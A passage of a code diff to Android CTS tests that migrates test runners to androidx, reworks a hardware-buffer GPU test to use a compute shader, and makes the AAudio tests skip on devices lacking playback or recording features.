@@ -28,7 +28,7 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_JAVA_LIBRARIES := platform-test-annotations android.test.base.stubs
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner nativetesthelper
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt nativetesthelper
 LOCAL_JNI_SHARED_LIBRARIES := libahardwarebuffertest
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/nativehardware/AndroidManifest.xml b/tests/tests/nativehardware/AndroidManifest.xml
index f453fa8..866e30a 100644
--- a/tests/tests/nativehardware/AndroidManifest.xml
+++ b/tests/tests/nativehardware/AndroidManifest.xml
@@ -24,7 +24,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.hardware.nativehardware.cts"
                      android:label="CTS native hardware tests">
         <meta-data android:name="listener"
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 36f1b8a..fd0d37b 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -502,29 +502,14 @@
     }
 )glsl";
 
-const char* kSsboVertexShaderEs31 = R"glsl(#version 310 es
-    in vec2 aPosition;
-    in float aDepth;
-    uniform mediump float uScale;
+const char* kSsboComputeShaderEs31 = R"glsl(#version 310 es
+    layout(local_size_x = 1) in;
     layout(std430, binding=0) buffer Output {
-        vec2 data[];
+        uint data[];
     } bOutput;
-    out mediump vec2 vTexCoords;
     void main() {
-        bOutput.data[gl_VertexID] = aPosition;
-        vTexCoords = (vec2(1.0) + aPosition) * 0.5;
-        gl_Position.xy = aPosition * uScale;
-        gl_Position.z = aDepth;
-        gl_Position.w = 1.0;
-    }
-)glsl";
-
-const char* kColorFragmentShaderEs3x = R"glsl(
-    precision mediump float;
-    uniform lowp vec4 uColor;
-    out mediump vec4 color;
-    void main() {
-        color = uColor;
+        bOutput.data[gl_GlobalInvocationID.x] =
+            gl_GlobalInvocationID.x * 3u;
     }
 )glsl";
 
@@ -998,6 +983,7 @@
                     internal_format = GL_DEPTH_STENCIL_OES;
                     format = GL_DEPTH_STENCIL;
                     type = GL_UNSIGNED_INT_24_8;
+                    break;
                 default:
                     FAIL() << "Unrecognized GL format"; break;
             }
@@ -1232,8 +1218,9 @@
               mGLVersion / 10, mGLVersion % 10);
         return;
     }
+    const int kBufferElements = 16;
     AHardwareBuffer_Desc desc = GetParam();
-    desc.width = sizeof kQuadPositions;
+    desc.width = kBufferElements * sizeof(int);
     desc.usage = AHARDWAREBUFFER_USAGE_CPU_READ_RARELY | AHARDWAREBUFFER_USAGE_GPU_DATA_BUFFER;
     if (!SetUpBuffer(desc)) return;
 
@@ -1244,30 +1231,44 @@
     }
 
     // Clear the buffer to zero
-    std::vector<float> zero_data(desc.width / sizeof(float), 0.f);
-    glBufferSubData(GL_SHADER_STORAGE_BUFFER, 0, desc.width, zero_data.data());
+    std::vector<unsigned int> expected_data(kBufferElements, 0U);
+    glBufferSubData(GL_SHADER_STORAGE_BUFFER, 0, desc.width, expected_data.data());
     glFinish();
 
-    // Write into the buffer with a shader
-    SetUpFramebuffer(40, 40, 0, kRenderbuffer);
-    SetUpProgram(kSsboVertexShaderEs31, std::string("#version 310 es") + kColorFragmentShaderEs3x,
-                 kQuadPositions, 0.5f);
+    // Write into the buffer with a compute shader
+    GLint status = 0;
+    mProgram = glCreateProgram();
+    GLuint shader = glCreateShader(GL_COMPUTE_SHADER);
+    glShaderSource(shader, 1, &kSsboComputeShaderEs31, nullptr);
+    glCompileShader(shader);
+    glGetShaderiv(shader, GL_COMPILE_STATUS, &status);
+    ASSERT_EQ(GL_TRUE, status) << "Compute shader compilation failed";
+    glAttachShader(mProgram, shader);
+    glLinkProgram(mProgram);
+    glGetProgramiv(mProgram, GL_LINK_STATUS, &status);
+    ASSERT_EQ(GL_TRUE, status) << "Shader program linking failed";
+    glDetachShader(mProgram, shader);
+    glDeleteShader(shader);
+    glUseProgram(mProgram);
+    ASSERT_EQ(GLenum{GL_NO_ERROR}, glGetError());
     glBindBufferBase(GL_SHADER_STORAGE_BUFFER, 0, mBufferObjects[mWhich]);
-    glDrawArrays(GL_TRIANGLES, 0, kQuadVertexCount);
+    glDispatchCompute(kBufferElements, 1, 1);
+    glMemoryBarrier(GL_BUFFER_UPDATE_BARRIER_BIT);
     glFinish();
     EXPECT_EQ(GLenum{GL_NO_ERROR}, glGetError());
 
     // Inspect the data written into the buffer using CPU access.
     MakeCurrent(0);
-    float* data = nullptr;
+    unsigned int* data = nullptr;
     int result = AHardwareBuffer_lock(mBuffer, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY,
                                       -1, nullptr, reinterpret_cast<void**>(&data));
     ASSERT_EQ(NO_ERROR, result);
     std::ostringstream s;
-    for (int i = 0; i < 12; ++i) {
+    for (int i = 0; i < kBufferElements; ++i) {
+		expected_data[i] = static_cast<unsigned int>(i * 3);
         s << data[i] << ", ";
     }
-    EXPECT_EQ(0, memcmp(kQuadPositions, data, desc.width)) << s.str();
+    EXPECT_EQ(0, memcmp(expected_data.data(), data, desc.width)) << s.str();
     AHardwareBuffer_unlock(mBuffer, nullptr);
 }
 
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
index 324ab9e..116771a 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
@@ -324,7 +324,7 @@
     AHardwareBuffer* buffer = NULL;
     AHardwareBuffer_Desc desc = {};
     desc.width = 120;
-    desc.width = 240;
+    desc.height = 240;
     desc.layers = 1;
     desc.usage = AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT | AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN;
     desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
diff --git a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
index 0c4d250..ff022fc 100644
--- a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
+++ b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
@@ -17,16 +17,26 @@
 package android.hardware.nativehardware.cts;
 
 import android.content.pm.PackageManager;
+import android.content.res.Configuration;
 import android.hardware.HardwareBuffer;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Checks whether layered buffers are supported when VR feature is present.
  */
 public class HardwareBufferVrTest extends AndroidTestCase {
+
+    @CddTest(requirement="7.9.2/C-1-10")
     public void testLayeredBuffersForVr() throws AssertionError {
+        boolean mIsVrHeadset = (getContext().getResources().getConfiguration().uiMode
+            & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
+
+        // Some phones upgrading from older Android versions have the high performance VR feature,
+        // but cannot meet this requirement. Only actually check it for standalone VR headsets.
         PackageManager pm = getContext().getPackageManager();
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE)) {
+        if (!pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE) || !mIsVrHeadset) {
             return;
         }
         final long flags = HardwareBuffer.USAGE_GPU_SAMPLED_IMAGE | HardwareBuffer.USAGE_GPU_COLOR_OUTPUT;
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
index 2017eba..b470ff6 100644
--- a/tests/tests/nativemedia/aaudio/Android.mk
+++ b/tests/tests/nativemedia/aaudio/Android.mk
@@ -27,7 +27,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt nativetesthelper
 
 LOCAL_JNI_SHARED_LIBRARIES := libnativeaaudiotest
 
diff --git a/tests/tests/nativemedia/aaudio/AndroidManifest.xml b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
index 97bf5f9..d8c422a 100644
--- a/tests/tests/nativemedia/aaudio/AndroidManifest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
@@ -24,7 +24,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.nativemedia.aaudio"
                      android:label="CTS tests of native AAudio API">
     </instrumentation>
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index 141b867..3703a39 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -62,11 +62,12 @@
 };
 
 void AAudioInputStreamTest::SetUp() {
+    mSetupSuccesful = false;
+    if (!deviceSupportsFeature(FEATURE_RECORDING)) return;
     mHelper.reset(new InputStreamBuilderHelper(
                     std::get<PARAM_SHARING_MODE>(GetParam()),
                     std::get<PARAM_PERF_MODE>(GetParam())));
     mHelper->initBuilder();
-    mSetupSuccesful = false;
     mHelper->createAndVerifyStream(&mSetupSuccesful);
     if (!mSetupSuccesful) return;
 
@@ -172,12 +173,13 @@
 };
 
 void AAudioOutputStreamTest::SetUp() {
+    mSetupSuccesful = false;
+    if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
     mHelper.reset(new OutputStreamBuilderHelper(
                     std::get<PARAM_SHARING_MODE>(GetParam()),
                     std::get<PARAM_PERF_MODE>(GetParam())));
     mHelper->initBuilder();
 
-    mSetupSuccesful = false;
     mHelper->createAndVerifyStream(&mSetupSuccesful);
     if (!mSetupSuccesful) return;
 
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
index d48aeab..7ed3319 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
@@ -22,6 +22,8 @@
 #include <aaudio/AAudio.h>
 #include <gtest/gtest.h>
 
+#include "utils.h"
+
 constexpr int64_t kNanosPerSecond = 1000000000;
 constexpr int kNumFrames = 256;
 constexpr int kChannelCount = 2;
@@ -33,6 +35,10 @@
                             aaudio_content_type_t contentType,
                             aaudio_input_preset_t preset = DONT_SET,
                             aaudio_direction_t direction = AAUDIO_DIRECTION_OUTPUT) {
+    if (direction == AAUDIO_DIRECTION_INPUT
+            && !deviceSupportsFeature(FEATURE_RECORDING)) return;
+    else if (direction == AAUDIO_DIRECTION_OUTPUT
+            && !deviceSupportsFeature(FEATURE_PLAYBACK)) return;
 
     float *buffer = new float[kNumFrames * kChannelCount];
 
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
index 670c077..813b40c 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
@@ -143,6 +143,8 @@
 }
 
 void AAudioInputStreamCallbackTest::SetUp() {
+    mSetupSuccesful = false;
+    if (!deviceSupportsFeature(FEATURE_RECORDING)) return;
     mHelper.reset(new InputStreamBuilderHelper(
                     std::get<PARAM_SHARING_MODE>(GetParam()),
                     std::get<PARAM_PERF_MODE>(GetParam())));
@@ -156,7 +158,6 @@
         AAudioStreamBuilder_setFramesPerDataCallback(builder(), framesPerDataCallback);
     }
 
-    mSetupSuccesful = false;
     mHelper->createAndVerifyStream(&mSetupSuccesful);
 }
 
@@ -242,6 +243,8 @@
 }
 
 void AAudioOutputStreamCallbackTest::SetUp() {
+    mSetupSuccesful = false;
+    if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
     mHelper.reset(new OutputStreamBuilderHelper(
                     std::get<PARAM_SHARING_MODE>(GetParam()),
                     std::get<PARAM_PERF_MODE>(GetParam())));
@@ -255,7 +258,6 @@
         AAudioStreamBuilder_setFramesPerDataCallback(builder(), framesPerDataCallback);
     }
 
-    mSetupSuccesful = false;
     mHelper->createAndVerifyStream(&mSetupSuccesful);
 }
 
@@ -300,8 +302,11 @@
         }
 
         EXPECT_GE(mCbData->minLatency, 1);   // Absurdly low
-        EXPECT_LE(mCbData->maxLatency, 300); // Absurdly high, should be < 30
-                                               // Note that on some devices it's 200-something
+        // We only issue a warning here because the CDD does not mandate a specific minimum latency
+        if (mCbData->maxLatency > 300) {
+            __android_log_print(ANDROID_LOG_WARN, LOG_TAG,
+                    "Suspiciously high callback latency: %d", mCbData->maxLatency);
+        }
         //printf("latency: %d, %d\n", mCbData->minLatency, mCbData->maxLatency);
     }
 
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
index a3aa75d..8713b46 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
@@ -21,6 +21,8 @@
 #include <android/log.h>
 #include <gtest/gtest.h>
 
+#include "utils.h"
+
 // Creates a builder, the caller takes ownership
 static void create_stream_builder(AAudioStreamBuilder** aaudioBuilder) {
     aaudio_result_t result = AAudio_createStreamBuilder(aaudioBuilder);
@@ -85,6 +87,7 @@
 
 // Test creating a default stream with everything unspecified.
 TEST(test_aaudio, aaudio_stream_unspecified) {
+    if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
     AAudioStreamBuilder *aaudioBuilder = nullptr;
     create_stream_builder(&aaudioBuilder);
 
@@ -110,6 +113,7 @@
 };
 
 TEST_P(AAudioStreamBuilderSamplingRateTest, openStream) {
+    if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
     AAudioStreamBuilder *aaudioBuilder = nullptr;
     create_stream_builder(&aaudioBuilder);
     AAudioStreamBuilder_setSampleRate(aaudioBuilder, GetParam());
@@ -138,6 +142,7 @@
 };
 
 TEST_P(AAudioStreamBuilderChannelCountTest, openStream) {
+    if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
     AAudioStreamBuilder *aaudioBuilder = nullptr;
     create_stream_builder(&aaudioBuilder);
     AAudioStreamBuilder_setChannelCount(aaudioBuilder, GetParam());
@@ -171,6 +176,7 @@
 };
 
 TEST_P(AAudioStreamBuilderFormatTest, openStream) {
+    if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
     AAudioStreamBuilder *aaudioBuilder = nullptr;
     create_stream_builder(&aaudioBuilder);
     AAudioStreamBuilder_setFormat(aaudioBuilder, GetParam());
@@ -198,6 +204,7 @@
 };
 
 TEST_P(AAudioStreamBuilderSharingModeTest, openStream) {
+    if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
     AAudioStreamBuilder *aaudioBuilder = nullptr;
     create_stream_builder(&aaudioBuilder);
     AAudioStreamBuilder_setFormat(aaudioBuilder, GetParam());
@@ -225,6 +232,10 @@
 };
 
 TEST_P(AAudioStreamBuilderDirectionTest, openStream) {
+    if (GetParam() == AAUDIO_DIRECTION_OUTPUT
+            && !deviceSupportsFeature(FEATURE_PLAYBACK)) return;
+    if (GetParam() == AAUDIO_DIRECTION_INPUT
+            && !deviceSupportsFeature(FEATURE_RECORDING)) return;
     AAudioStreamBuilder *aaudioBuilder = nullptr;
     create_stream_builder(&aaudioBuilder);
     AAudioStreamBuilder_setFormat(aaudioBuilder, GetParam());
@@ -254,6 +265,7 @@
 };
 
 TEST_P(AAudioStreamBuilderBufferCapacityTest, openStream) {
+    if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
     AAudioStreamBuilder *aaudioBuilder = nullptr;
     create_stream_builder(&aaudioBuilder);
     AAudioStreamBuilder_setBufferCapacityInFrames(aaudioBuilder, GetParam());
@@ -287,6 +299,7 @@
 };
 
 TEST_P(AAudioStreamBuilderPerfModeTest, openStream) {
+    if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
     AAudioStreamBuilder *aaudioBuilder = nullptr;
     create_stream_builder(&aaudioBuilder);
     AAudioStreamBuilder_setPerformanceMode(aaudioBuilder, GetParam());
diff --git a/tests/tests/nativemedia/aaudio/jni/test_session_id.cpp b/tests/tests/nativemedia/aaudio/jni/test_session_id.cpp
index fa82f71..dfde6e7 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_session_id.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_session_id.cpp
@@ -23,12 +23,14 @@
 #include <gtest/gtest.h>
 
 #include "test_aaudio.h"
+#include "utils.h"
 
 constexpr int kNumFrames = 256;
 constexpr int kChannelCount = 2;
 
 // Test AAUDIO_SESSION_ID_NONE default
 static void checkSessionIdNone(aaudio_performance_mode_t perfMode) {
+    if (!deviceSupportsFeature(FEATURE_PLAYBACK)) return;
 
     float *buffer = new float[kNumFrames * kChannelCount];
 
@@ -72,6 +74,10 @@
 // Test AAUDIO_SESSION_ID_ALLOCATE
 static void checkSessionIdAllocate(aaudio_performance_mode_t perfMode,
                                    aaudio_direction_t direction) {
+    // Since this test creates streams in both directions, it can't work
+    // if either of them is not supported by the device.
+    if (!deviceSupportsFeature(FEATURE_RECORDING)
+            || !deviceSupportsFeature(FEATURE_PLAYBACK)) return;
 
     float *buffer = new float[kNumFrames * kChannelCount];
 
diff --git a/tests/tests/nativemedia/aaudio/jni/utils.cpp b/tests/tests/nativemedia/aaudio/jni/utils.cpp
index 55d1e13..d843614 100644
--- a/tests/tests/nativemedia/aaudio/jni/utils.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/utils.cpp
@@ -16,9 +16,12 @@
 
 #define LOG_TAG "AAudioTest"
 
+#include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>
 
+#include <string>
+
 #include <android/log.h>
 #include <gtest/gtest.h>
 
@@ -51,6 +54,28 @@
     return "UNKNOWN";
 }
 
+// Runs "pm list features" and attempts to find the specified feature in its output.
+bool deviceSupportsFeature(const char* feature) {
+    bool hasFeature = false;
+    FILE *p = popen("/system/bin/pm list features", "re");
+    if (p) {
+      char* line = NULL;
+      size_t len = 0;
+      while (getline(&line, &len, p) > 0) {
+          if (strstr(line, feature)) {
+              hasFeature = true;
+              break;
+          }
+      }
+      pclose(p);
+    } else {
+        __android_log_print(ANDROID_LOG_FATAL, LOG_TAG, "popen failed: %d", errno);
+        _exit(EXIT_FAILURE);
+    }
+    __android_log_print(ANDROID_LOG_INFO, LOG_TAG, "Feature %s: %ssupported",
+            feature, hasFeature ? "" : "not ");
+    return hasFeature;
+}
 
 // These periods are quite generous. They are not designed to put
 // any restrictions on the implementation, but only to ensure sanity.
diff --git a/tests/tests/nativemedia/aaudio/jni/utils.h b/tests/tests/nativemedia/aaudio/jni/utils.h
index 7f38fef..4211410 100644
--- a/tests/tests/nativemedia/aaudio/jni/utils.h
+++ b/tests/tests/nativemedia/aaudio/jni/utils.h
@@ -24,6 +24,11 @@
 const char* performanceModeToString(aaudio_performance_mode_t mode);
 const char* sharingModeToString(aaudio_sharing_mode_t mode);
 
+static constexpr const char* FEATURE_PLAYBACK = "android.hardware.audio.output";
+static constexpr const char* FEATURE_RECORDING = "android.hardware.microphone";
+static constexpr const char* FEATURE_LOW_LATENCY = "android.hardware.audio.low_latency";
+bool deviceSupportsFeature(const char* feature);
+
 class StreamBuilderHelper {
   public:
     struct Parameters {
diff --git a/tests/tests/ndef/Android.mk b/tests/tests/ndef/Android.mk
index c355fa0..df28c7b 100644
--- a/tests/tests/ndef/Android.mk
+++ b/tests/tests/ndef/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/ndef/AndroidManifest.xml b/tests/tests/ndef/AndroidManifest.xml
index dcec27d..57320da 100644
--- a/tests/tests/ndef/AndroidManifest.xml
+++ b/tests/tests/ndef/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.ndef.cts"
                      android:label="CTS tests of NDEF data classes">
         <meta-data android:name="listener"
diff --git a/tests/tests/net/Android.mk b/tests/tests/net/Android.mk
index 1430071..45941a7 100644
--- a/tests/tests/net/Android.mk
+++ b/tests/tests/net/Android.mk
@@ -41,8 +41,8 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     core-tests-support \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ctstestserver \
     mockwebserver \
     junit \
diff --git a/tests/tests/net/AndroidManifest.xml b/tests/tests/net/AndroidManifest.xml
index 0bfb650..b261b39 100644
--- a/tests/tests/net/AndroidManifest.xml
+++ b/tests/tests/net/AndroidManifest.xml
@@ -42,7 +42,7 @@
         </receiver>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.net.cts"
                      android:label="CTS tests of android.net">
         <meta-data android:name="listener"
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index 441bee3..810b5df 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -24,6 +24,7 @@
 import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
 import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
 import static android.provider.Settings.Global.NETWORK_METERED_MULTIPATH_PREFERENCE;
+
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
 import android.app.Instrumentation;
@@ -50,28 +51,30 @@
 import android.os.SystemClock;
 import android.os.SystemProperties;
 import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
 import android.system.Os;
 import android.system.OsConstants;
 import android.test.AndroidTestCase;
 import android.text.TextUtils;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.internal.R;
 import com.android.internal.telephony.PhoneConstants;
 
+import libcore.io.Streams;
+
 import java.io.File;
 import java.io.FileNotFoundException;
-import java.io.InputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.OutputStream;
-import java.lang.NumberFormatException;
 import java.net.HttpURLConnection;
 import java.net.Inet6Address;
 import java.net.InetAddress;
-import java.net.Socket;
 import java.net.InetSocketAddress;
+import java.net.Socket;
 import java.net.URL;
 import java.net.UnknownHostException;
 import java.nio.charset.StandardCharsets;
@@ -83,7 +86,6 @@
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
-import libcore.io.Streams;
 
 public class ConnectivityManagerTest extends AndroidTestCase {
 
diff --git a/tests/tests/net/src/android/net/cts/MacAddressTest.java b/tests/tests/net/src/android/net/cts/MacAddressTest.java
index ace1cde..af1e760 100644
--- a/tests/tests/net/src/android/net/cts/MacAddressTest.java
+++ b/tests/tests/net/src/android/net/cts/MacAddressTest.java
@@ -19,11 +19,13 @@
 import static android.net.MacAddress.TYPE_BROADCAST;
 import static android.net.MacAddress.TYPE_MULTICAST;
 import static android.net.MacAddress.TYPE_UNICAST;
+
 import static org.junit.Assert.fail;
 
 import android.net.MacAddress;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
index e85de2a..e0c03a1 100644
--- a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
+++ b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
@@ -24,9 +24,10 @@
 import android.content.Context;
 import android.net.ConnectivityManager;
 import android.os.FileUtils;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.SystemUtil;
@@ -37,7 +38,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-
 import java.io.File;
 import java.io.IOException;
 import java.io.InputStream;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index af91fbf..2ed0124 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -874,6 +874,15 @@
 
         TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
 
+        // add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
+        // TODO: remove this sleep as soon as b/124330089 is fixed.
+        try {
+            Log.d(TAG, "Sleep for 2 seconds");
+            Thread.sleep(2000);
+        } catch (InterruptedException e) {
+            Log.d(TAG, "Thread InterruptedException!");
+        }
+
         stopLocalOnlyHotspot(callback, wifiEnabled);
 
         // wifi should either stay on, or come back on
@@ -949,6 +958,15 @@
         }
         assertTrue(caughtException);
 
+        // add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
+        // TODO: remove this sleep as soon as b/124330089 is fixed.
+        try {
+            Log.d(TAG, "Sleep for 2 seconds");
+            Thread.sleep(2000);
+        } catch (InterruptedException e) {
+            Log.d(TAG, "Thread InterruptedException!");
+        }
+
         stopLocalOnlyHotspot(callback, wifiEnabled);
     }
 }
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 55fa4d1..0cb1260 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
+    ctstestrunner-axt \
     ctstestserver
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
index d4ce39a..aedf708 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
@@ -25,7 +25,7 @@
       <uses-library android:name="org.apache.http.legacy" />
   </application>
 
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.netsecpolicy.usescleartext.false.cts"
                    android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is set to denied.">
         <meta-data android:name="listener"
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 033d7ea..ec4dab3 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
+    ctstestrunner-axt \
     ctstestserver
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
index fe31e80..74964cc 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
@@ -25,7 +25,7 @@
       <uses-library android:name="org.apache.http.legacy" />
   </application>
 
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.netsecpolicy.usescleartext.true.cts"
                    android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is set to permitted.">
         <meta-data android:name="listener"
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index c10a19a..fba1086 100644
